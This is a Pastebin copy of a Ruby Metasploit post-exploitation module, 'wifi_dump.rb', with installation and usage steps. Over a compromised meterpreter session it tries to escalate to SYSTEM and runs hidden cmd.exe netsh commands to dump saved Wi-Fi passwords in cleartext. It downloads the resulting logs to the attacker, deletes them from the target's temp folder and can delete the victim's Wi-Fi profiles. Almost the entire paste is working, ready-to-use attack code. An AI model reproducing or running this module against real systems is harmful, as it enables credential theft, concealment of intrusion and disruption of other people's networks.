r00t-3xp10it

wifi_dump.rb

Sep 19th, 2016
323
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 21.66 KB | None | 0 0
  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # Framework web site for more information on licensing and terms of use.
  5. # http://metasploit.com/framework/
  6. ##
  7.  
  8.  
  9. ##
  10. # [ wifi_dump.rb - ESSID credentials dump (wlan/lan) ]
  11. # $Id$ 2.0 Author: pedr0 Ubuntu aka: [r00t-3xp10it]
  12. # Hosted By: peterubuntu10[at]sourceforge[dot]net
  13. # http://sourceforge.net/projects/msf-auxiliarys/
  14. # https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/wifi_dump.rb
  15. #
  16. #
  17. # ---
  18. # [ POST-EXPLOITATION MODULE DESCRIPTION ]
  19. # This post-exploitation module requires a meterpreter session,
  20. # to be able to dump ESSID stored passwords (wlan/lan) using
  21. # cmd native netsh command, this module will not be able to
  22. # dump ESSID passwords from VMs, NAT or Bridged Networks.
  23. #
  24. # [ MODULE OPTIONS ]
  25. # HINT: to unset all values use: msf post(wifi_dump) > unset all
  26. # Elevate session to 'nt authority/system'    => set GET_SYSTEM true
  27. # List active Interfaces available 'wlan/lan' => set LIST_INTERFACES true
  28. # Set interface to dump credentials from      => set INTERFACE lan
  29. # Set logfiles download location 'local'      => set DOWNLOAD_PATH /home/pedr0/Desktop
  30. # List all ESSIDs stored in target system     => set LIST_PROFILES true
  31. # Input ESSID name to Dump credentials from   => set DUMP_ESSID ZON-147F4
  32. # Delete selected ESSID from target system    => set DELETE_ESSID ZON-147F4
  33. # Show nearby wireless networks emitting      => set SHOW_NEARBY true
  34. # dump target SSID profile OR just the key    => set KEY_ONLY true
  35. # ---
  36. #
  37. #
  38. # [ PORT MODULE TO METASPLOIT DATABASE ]
  39. # Kali linux   COPY TO: /usr/share/metasploit-framework/modules/post/windows/wlan/wifi_dump.rb
  40. # Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/wlan/wifi_dump.rb
  41. # Manually Path Search: root@kali:~# locate modules/post/windows/wlan
  42. #
  43. # [ LOAD/USE AUXILIARY ]
  44. # meterpreter > background
  45. # msf exploit(handler) > reload_all
  46. # msf exploit(handler) > use post/windows/wlan/wifi_dump
  47. # msf post(wifi_dump) > info
  48. # msf post(wifi_dump) > show options
  49. # msf post(wifi_dump) > show advanced options
  50. # msf post(wifi_dump) > set [option(s)]
  51. # msf post(wifi_dump) > exploit
  52. ##
  53.  
  54.  
  55.  
  56.  
  57.  
  58. # ----------------------------
  59. # Module Dependencies/requires
  60. # ----------------------------
  61. require 'rex'
  62. require 'msf/core'
  63. require 'msf/core/post/common'
  64. require 'msf/core/post/windows/priv'
  65.  
  66.  
  67.  
  68. # ----------------------------------
  69. # Metasploit Class name and includes
  70. # ----------------------------------
  71. class MetasploitModule < Msf::Post
  72.       Rank = ExcellentRanking
  73.  
  74.          include Msf::Post::Common
  75.          include Msf::Post::Windows::Priv
  76.  
  77.  
  78.  
  79. # -----------------------------------------
  80. # Building Metasploit/Armitage info GUI/CLI
  81. # -----------------------------------------
  82.         def initialize(info={})
  83.                 super(update_info(info,
  84.                         'Name'          => 'ESSID credentials dump (wlan/lan)',
  85.                         'Description'   => %q{
  86.                                         This post-exploitation module requires a meterpreter session to be able to dump ESSID stored passwords (WLAN/LAN) using CMD native NETSH command, appends reports to a logfile and downloads it from target host to a selected Local directory (set DOWNLOAD_PATH). This module will report active interfaces, a list of ESSIDs stored, shows NEARBY wireless networks, and gives the ability to delete the selected ESSID from target host interface. This module will NOT be able to dump ESSID credentials from VMs, NAT or Bridged Networks, Also remmenber to check module advanced options for more settings.
  87.                         },
  88.                         'License'       => UNKNOWN_LICENSE,
  89.                         'Author'        =>
  90.                                 [
  91.                                         'peterubuntu10[at]sourceforge[dot]net', # post-module author
  92.                                         'Special thanks: milton_barra', # testing/debug module
  93.                                 ],
  94.  
  95.                         'Version'        => '$Revision: 2.0',
  96.                         'DisclosureDate' => 'set 15 2016',
  97.                         'Platform'       => 'windows',
  98.                         'Arch'           => 'x86_x64',
  99.                         'Privileged'     => 'false',
  100.                         'Targets'        =>
  101.                                 [
  102.                                          # Tested againts windows 7 (32 bits)
  103.                                          [ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
  104.                                 ],
  105.                         'DefaultTarget'  => '3', # default its to run againts windows 7 (32 bits)
  106.                         'References'     =>
  107.                                 [
  108.                                          [ 'URL', 'http://ss64.com/nt/netsh.html' ],
  109.                                          [ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
  110.                                          [ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
  111.                                          [ 'URL', 'https://technet.microsoft.com/en-us/library/cc755301(v=ws.10).aspx' ],
  112.                                          [ 'URL', 'https://sourceforge.net/p/msf-auxiliarys/discussion/general/thread/a8e7aa57/' ]
  113.                                 ],
  114.             'DefaultOptions' =>
  115.                 {
  116.                     'SESSION' => '1', # Default its to run againts session 1
  117.                                         'INTERFACE' => 'wlan', # Default its to run againts wireless interface
  118.                                         'DOWNLOAD_PATH' => '/root' # Default its to download logs into local /root folder
  119.                 },
  120.                         'SessionTypes'   => [ 'meterpreter' ]
  121.  
  122.                 ))
  123.  
  124.                 register_options(
  125.                         [
  126.                                 OptString.new('SESSION', [ true, 'The session number to run this module on']),
  127.                                 OptBool.new('GET_SYSTEM', [ false, 'Elevate current session to nt authority/system' , false]),
  128.                                 OptBool.new('LIST_INTERFACES', [ false, 'List active Interfaces available (wlan/lan)' , false]),
  129.                                 OptBool.new('LIST_PROFILES', [ false, 'List ESSIDs stored in target system' , false]),
  130.                                 OptString.new('DUMP_ESSID', [ false, 'Input ESSID name to Dump credentials from'])
  131.                         ], self.class)
  132.  
  133.                 register_advanced_options(
  134.                         [
  135.                                 OptBool.new('SHOW_NEARBY', [ false, 'Show nearby wireless networks emitting' , false]),
  136.                                 OptString.new('KEY_ONLY', [ false, 'Dump only credentials (dont dump profile)' , false]),
  137.                                 OptString.new('DELETE_ESSID', [ false, 'Delete selected ESSID from target system']),
  138.                                 OptString.new('DOWNLOAD_PATH', [ false, 'Set logfiles download location (/root)']),
  139.                                 OptString.new('INTERFACE', [ false, 'Interface to dump credentials from (wlan/lan)'])
  140.                         ], self.class)
  141.  
  142.         end
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149. # ----------------------------------------------
  150. # Check for proper target Platform (win32|win64)
  151. # ----------------------------------------------
  152. def unsupported
  153.    session = client
  154.      sys = session.sys.config.sysinfo
  155.        print_warning("[ABORT]: Operative System => #{sys['OS']}")
  156.        print_error("Only windows systems are supported by this module...")
  157.        print_error("Please execute [info] for further information...")
  158.        print_line("")
  159.    raise Rex::Script::Completed
  160. end
  161.  
  162.  
  163.  
  164.  
  165.  
  166.  
  167. # ----------------------------------------
  168. # 'Privilege escalation' - Getting @SYSTEM
  169. # ----------------------------------------
  170.        def ls_getsys
  171.              toor = []
  172.              # variable API declarations
  173.              toor = client.sys.config.getuid
  174.              print_warning("Client UID: #{toor}")
  175.              print_status("Escalating privileges to: nt authority/system")
  176.                # getprivs API call loop funtion
  177.                client.sys.config.getprivs.each do |priv|
  178.                print_good("  Impersonate token => #{priv}")
  179.        end
  180.  
  181.          # checking results (if_system)
  182.          result = client.priv.getsystem
  183.          if result and result[0]
  184.  
  185.                 csuid = []
  186.                 csuid = client.sys.config.getuid
  187.                 # print results on screen if successefully executed
  188.                 print_status("Current client UID: #{csuid}")
  189.                 print_line("")
  190.  
  191.       else
  192.       # error display in executing command
  193.       print_error("Fail to obtain [nt authority/system] access!")
  194.       print_warning("Please manually run: getsystem to gain system privs!")
  195.       end
  196.  end
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203. # ----------------------------------
  204. # REPORT ACTIVE INTERFACE (WLAN/LAN)
  205. # ----------------------------------
  206. def ls_stage1
  207.   r=''
  208.   key = []
  209.   rand = []
  210.   dpath = datastore['DOWNLOAD_PATH']
  211.   rand = Rex::Text.rand_text_alpha(8) + '.log'
  212.   # check for proper config settings enter...
  213.   # to prevent 'unset all' from deleting default options...
  214.   if datastore['DOWNLOAD_PATH'] == 'nil'
  215.     print_error("Options not configurated correctly...")
  216.     print_warning("Please set DOWNLOAD_PATH option...")
  217.     return nil
  218.   else
  219.     print_status("Dumping Active Interfaces...")
  220.   end
  221.  
  222.  
  223.     key = "netsh interface show interface > %temp%\\#{rand}"
  224.     # execute cmd prompt in a hidden channelized windows!
  225.     # and build logfile with results (dump) in target %temp% folder
  226.     r = session.sys.process.execute("cmd.exe /c #{key}", nil, {'Hidden' => true, 'Channelized' => true})
  227.     print_good("  exec => #{key}")
  228.  
  229.       # download 'logfile' from target machine using one API call
  230.       print_good("  exec => Downloading logfile from target system...")
  231.       client.fs.file.download("#{dpath}/#{rand}","%temp%\\#{rand}")
  232.       print_warning("  Dumped logfile: #{dpath}/#{rand}")
  233.       # delete logfile from target system (API call): client.fs.file.rm("%temp%\\interfaces.log")
  234.       r = session.sys.process.execute("cmd.exe /c DEL /q /f %temp%\\#{rand}", nil, {'Hidden' => true, 'Channelized' => true})
  235.       print_status("[REMARK]: Edit logfile to see dumped data...")
  236.       print_line("")
  237.  
  238.     # close channel when done
  239.     r.channel.close
  240.     r.close
  241.  
  242.   # error exception funtion
  243.   rescue ::Exception => e
  244.   print_error("Error Running Command: #{e.class} #{e}")
  245.   print_warning("Try to escalate session to [NT AUTHORITY/SYSTEM] before runing this module...")
  246. end
  247.  
  248.  
  249.  
  250.  
  251.  
  252.  
  253. # -------------------------------
  254. # LIST PROFILES AVAILABLE (ESSID)
  255. # -------------------------------
  256. def ls_stage2
  257.   r=''
  258.   key = []
  259.   rand = []
  260.   inuse = datastore['INTERFACE']
  261.   dpath = datastore['DOWNLOAD_PATH']
  262.   rand = Rex::Text.rand_text_alpha(8) + '.log'
  263.   # check for proper config settings enter...
  264.   # to prevent 'unset all' from deleting default options...
  265.   if datastore['DOWNLOAD_PATH'] == 'nil' || datastore['INTERFACE'] == 'nil'
  266.     print_error("Options not configurated correctly...")
  267.     print_warning("Please set DOWNLOAD_PATH | INTERFACE options...")
  268.     return nil
  269.   else
  270.     print_status("List profiles available in: #{inuse} Interface")
  271.   end
  272.  
  273.  
  274.     key = "netsh #{inuse} show profiles > %temp%\\#{rand}"
  275.     # execute cmd prompt in a hidden channelized windows!
  276.     # and build profiles.log with results (dump) in target %temp% folder
  277.     r = session.sys.process.execute("cmd.exe /c #{key}", nil, {'Hidden' => true, 'Channelized' => true})
  278.     print_good("  exec => #{key}")
  279.  
  280.       # download 'logfile' from target machine using one API call
  281.       print_good("  exec => Downloading logfile from target system...")
  282.       client.fs.file.download("#{dpath}/#{rand}","%temp%\\#{rand}")
  283.       print_warning("  Dumped logfile: #{dpath}/#{rand}")
  284.       # delete logfile from target system (API call): client.fs.file.rm("%temp%\\profiles.log")
  285.       r = session.sys.process.execute("cmd.exe /c DEL /q /f %temp%\\#{rand}", nil, {'Hidden' => true, 'Channelized' => true})
  286.       print_status("[REMARK]: Edit logfile to see dumped data...")
  287.       print_line("")
  288.  
  289.     # close channel when done
  290.     r.channel.close
  291.     r.close
  292.  
  293.   # error exception funtion
  294.   rescue ::Exception => e
  295.   print_error("Error Running Command: #{e.class} #{e}")
  296.   print_warning("Try to escalate session to [NT AUTHORITY/SYSTEM] before runing this module...")
  297. end
  298.  
  299.  
  300.  
  301.  
  302.  
  303.  
  304. # ------------------------------------------
  305. # DUMP PASSWORD FROM SELECTED ESSID WLAN/LAN
  306. # ------------------------------------------
  307. def ls_stage3
  308.   r=''
  309.   key = []
  310.   rand = []
  311.   inuse = datastore['INTERFACE']
  312.   essid = datastore['DUMP_ESSID']
  313.   dpath = datastore['DOWNLOAD_PATH']
  314.   rand = Rex::Text.rand_text_alpha(8) + '.log'
  315.   # check for proper config settings enter
  316.   # to prevent 'unset all' from deleting default options...
  317.   if datastore['DUMP_ESSID'] == 'nil' || datastore['INTERFACE'] == 'nil' || datastore['DOWNLOAD_PATH'] == 'nil'
  318.     print_error("Options not configurated correctly...")
  319.     print_warning("Please set DUMP_ESSID | INTERFACE | DOWNLOAD_PATH options...")
  320.     return nil
  321.   else
  322.     print_status("Dumping Credentials of: #{essid} SSID name...")
  323.   end
  324.  
  325.  
  326.     # select to dump ESSID target profile OR just the wifi key
  327.     if datastore['KEY_ONLY'] == 'true'
  328.     # check target system installed language
  329.     check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")
  330.       if check_lang == "0816" || check_lang == "0416"
  331.         print_status("Target System language detected: Portuguese...")
  332.         key = "netsh #{inuse} show profile #{essid} key=clear | findstr Chave > %temp%\\#{rand}"
  333.         elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009"
  334.           print_status("Target System language detected: English...")
  335.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr Key > %temp%\\#{rand}"
  336.         elsif check_lang == "0410"
  337.           print_status("Target System language detected: Italian...")
  338.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr Chiave > %temp%\\#{rand}"
  339.         elsif check_lang == "040C"
  340.           print_status("Target System language detected: French...")
  341.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr Clé > %temp%\\#{rand}"
  342.         elsif check_lang == "0407"
  343.           print_status("Target System language detected: German...")
  344.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr Schlüssel > %temp%\\#{rand}"
  345.         elsif check_lang == "0421"
  346.           print_status("Target System language detected: Indonesian...")
  347.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr Kunci > %temp%\\#{rand}"
  348.         elsif check_lang == "0413"
  349.           print_status("Target System language detected: Netherlands...")
  350.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr sleutel > %temp%\\#{rand}"
  351.         elsif check_lang == "0415"
  352.           print_status("Target System language detected: Polish...")
  353.           key = "netsh #{inuse} show profile #{essid} key=clear | findstr klucz > %temp%\\#{rand}"
  354.       else
  355.         print_warning("post-module cant define target system language...")
  356.         print_warning("Defaulting 'KEY_ONLY' option to false...")
  357.         key = "netsh #{inuse} show profile #{essid} key=clear > %temp%\\#{rand}"
  358.       end
  359.  
  360.     else
  361.       key = "netsh #{inuse} show profile #{essid} key=clear > %temp%\\#{rand}"
  362.     end
  363.  
  364.  
  365.     # execute cmd prompt in a hidden channelized windows!
  366.     # and build logfile with results (dump) in target %temp% folder
  367.     r = session.sys.process.execute("cmd.exe /c #{key}", nil, {'Hidden' => true, 'Channelized' => true})
  368.     print_good("  exec => #{key}")
  369.  
  370.        # download 'logfile' from target machine using one API call
  371.        print_good("  exec => Downloading logfile from target system...")
  372.        client.fs.file.download("#{dpath}/#{rand}","%temp%\\#{rand}")
  373.        print_warning("  Dumped logfile: #{dpath}/#{rand}")
  374.        # delete logfile from target system (API call): client.fs.file.rm("%temp%\\dump.log")
  375.        r = session.sys.process.execute("cmd.exe /c DEL /q /f %temp%\\#{rand}", nil, {'Hidden' => true, 'Channelized' => true})
  376.        print_status("[REMARK]: Edit logfile to see dumped data...")
  377.        print_line("")
  378.  
  379.     # close channel when done
  380.     r.channel.close
  381.     r.close
  382.  
  383.   # error exception funtion
  384.   rescue ::Exception => e
  385.   print_error("Error: #{e.class} #{e}")
  386.   print_warning("Try to escalate session to [NT AUTHORITY/SYSTEM] before runing this module...")
  387. end
  388.  
  389.  
  390.  
  391.  
  392.  
  393.  
  394. # --------------------------------
  395. # LIST 'NEAR-BY' WIRELESS NETWORKS
  396. # --------------------------------
  397. def ls_stage4
  398.   r=''
  399.   rand = []
  400.   dpath = datastore['DOWNLOAD_PATH']
  401.   rand = Rex::Text.rand_text_alpha(8) + '.log'
  402.   # check for proper config settings enter...
  403.   # to prevent 'unset all' from deleting default options...
  404.   if datastore['DOWNLOAD_PATH'] == 'nil'
  405.     print_error("Options not configurated correctly...")
  406.     print_warning("Please set DOWNLOAD_PATH option...")
  407.     return nil
  408.   else
  409.     print_status("Show Nearby Wireless Networks...")
  410.   end
  411.  
  412.  
  413.     key = "netsh wlan show networks mode=b > %temp%\\#{rand}"
  414.     # execute cmd prompt in a hidden channelized windows!
  415.     # and build networks.log with results (dump) in target %temp% folder
  416.     r = session.sys.process.execute("cmd.exe /c #{key}", nil, {'Hidden' => true, 'Channelized' => true})
  417.     print_good("  exec => #{key}")
  418.  
  419.       # download 'logfile' from target machine using one API call
  420.       print_good("  exec => Downloading logfile from target system...")
  421.       client.fs.file.download("#{dpath}/#{rand}","%temp%\\#{rand}")
  422.       print_warning("  Dumped logfile: #{dpath}/#{rand}")
  423.       # delete logfile from target system (API call): client.fs.file.rm("%temp%\\nearby.log")
  424.       r = session.sys.process.execute("cmd.exe /c DEL /q /f %temp%\\#{rand}", nil, {'Hidden' => true, 'Channelized' => true})
  425.       print_status("[REMARK]: Edit logfile to see dumped data...")
  426.       print_line("")
  427.  
  428.     # close channel when done
  429.     r.channel.close
  430.     r.close
  431.  
  432.   # error exception funtion
  433.   rescue ::Exception => e
  434.   print_error("Error Running Command: #{e.class} #{e}")
  435.   print_warning("Try to escalate session to [NT AUTHORITY/SYSTEM] before runing this module...")
  436. end
  437.  
  438.  
  439.  
  440.  
  441.  
  442.  
  443. # ----------------------------------------
  444. # DELETE SELECTED ESSID PROFILE (WLAN/LAN)
  445. # ----------------------------------------
  446. def ls_stage5
  447.   r=''
  448.   key = []
  449.   inuse = datastore['INTERFACE']
  450.   pwipe = datastore['DELETE_ESSID']
  451.   # check for proper config settings enter
  452.   # to prevent 'unset all' from deleting default options...
  453.   if datastore['DELETE_ESSID'] == 'nil' || datastore['INTERFACE'] == 'nil'
  454.     print_error("Options not configurated correctly...")
  455.     print_warning("Please set INTERFACE | DELETE_ESSID options...")
  456.     return nil
  457.   else
  458.     print_status("Deleting ESSID: #{pwipe}")
  459.   end
  460.  
  461.  
  462.      key = "netsh #{inuse} delete profile #{pwipe}"
  463.      # execute cmd prompt in a hidden channelized windows!
  464.      r = session.sys.process.execute("cmd.exe /c #{key}", nil, {'Hidden' => true, 'Channelized' => true})
  465.      print_good("  exec => #{key}")
  466.  
  467.       # display task status to attacker
  468.       print_warning("Deleted => #{pwipe} Profile from: #{inuse} Interface")
  469.       print_status("Target system have lost access to #{pwipe} wifi password...")
  470.       print_line("")
  471.  
  472.     # close channel when done
  473.     r.channel.close
  474.     r.close
  475.  
  476.   # error exception funtion
  477.   rescue ::Exception => e
  478.   print_error(" Error: #{e.class} #{e}")
  479.   print_warning("Try to escalate session to [NT AUTHORITY/SYSTEM] before runing this module...")
  480. end
  481.  
  482.  
  483.  
  484.  
  485.  
  486.  
  487. # ------------------------------------------------
  488. # MAIN DISPLAY WINDOWS (ALL MODULES - def run)
  489. # Running sellected modules against session target
  490. # ------------------------------------------------
  491. def run
  492.   session = client
  493.     # Check for proper target Platform
  494.     unsupported if client.platform !~ /win32|win64/i
  495.  
  496.       # Variable declarations (msf API calls)
  497.       sysnfo = session.sys.config.sysinfo
  498.       runtor = client.sys.config.getuid
  499.       runsession = client.session_host
  500.       directory = client.fs.dir.pwd
  501.  
  502.  
  503.     # Print banner and scan results on screen
  504.     print_line("    +--------------------------------------------+")
  505.     print_line("    |        * ESSID WIFI PASSWORD DUMP *        |")
  506.     print_line("    |    Author: Pedro Ubuntu [ r00t-3xp10it ]   |")
  507.     print_line("    +--------------------------------------------+")
  508.     print_line("")
  509.     print_line("    Running on session  : #{datastore['SESSION']}")
  510.     print_line("    Computer            : #{sysnfo['Computer']}")
  511.     print_line("    Operative System    : #{sysnfo['OS']}")
  512.     print_line("    Target IP addr      : #{runsession}")
  513.     print_line("    Payload directory   : #{directory}")
  514.     print_line("    Client UID          : #{runtor}")
  515.     print_line("")
  516.     print_line("")
  517.  
  518.  
  519.  
  520. # ------------------------------------
  521. # Selected settings to run
  522. # ------------------------------------
  523.       if datastore['GET_SYSTEM']
  524.          ls_getsys
  525.       end
  526.  
  527.       if datastore['LIST_INTERFACES']
  528.          ls_stage1
  529.       end
  530.  
  531.       if datastore['LIST_PROFILES']
  532.          ls_stage2
  533.       end
  534.  
  535.       if datastore['DUMP_ESSID']
  536.          ls_stage3
  537.       end
  538.  
  539.       if datastore['SHOW_NEARBY']
  540.          ls_stage4
  541.       end
  542.  
  543.       if datastore['DELETE_ESSID']
  544.          ls_stage5
  545.       end
  546.    end
  547. end
Add Comment
Please, Sign In to add comment